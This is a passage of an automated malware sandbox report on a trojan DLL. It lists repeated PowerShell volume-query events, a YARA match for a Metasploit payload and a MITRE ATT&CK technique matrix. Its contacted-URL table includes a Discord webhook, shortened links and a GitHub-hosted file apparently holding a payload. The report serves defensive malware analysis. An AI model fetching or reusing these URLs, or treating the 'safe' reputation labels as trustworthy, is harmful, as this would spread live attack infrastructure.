Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation

Remote Access Functionality

Yara detected MetasploitPayload

Source: Yara match	File source: amsi64_7768.amsi.csv, type: OTHER
Source: Yara match	File source: amsi64_7780.amsi.csv, type: OTHER

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Spearphishing Link	111 Windows Management Instrumentation	1 DLL Side-Loading	11 Process Injection	1 Masquerading	OS Credential Dumping	111 Security Software Discovery	Remote Services	1 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	131 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Regsvr32	Cached Domain Credentials	12 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Rundll32	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Software Packing	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 DLL Side-Loading	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll	26%	ReversingLabs	Win64.Trojan.Generic

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
https://aka.ms/pscore68	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://tinyurl.com/yeykydunX_	0%	Avira URL Cloud	safe
https://discord.com/api/webhooks/128528293923992	0%	Avira URL Cloud	safe
http://www.apache.org/licenses/LICENSE-2.0.html	0%	Avira URL Cloud	safe
https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt	0%	Avira URL Cloud	safe
https://raw.githubusercont	0%	Avira URL Cloud	safe
http://tinyurl.com/yeykydun	0%	Avira URL Cloud	safe
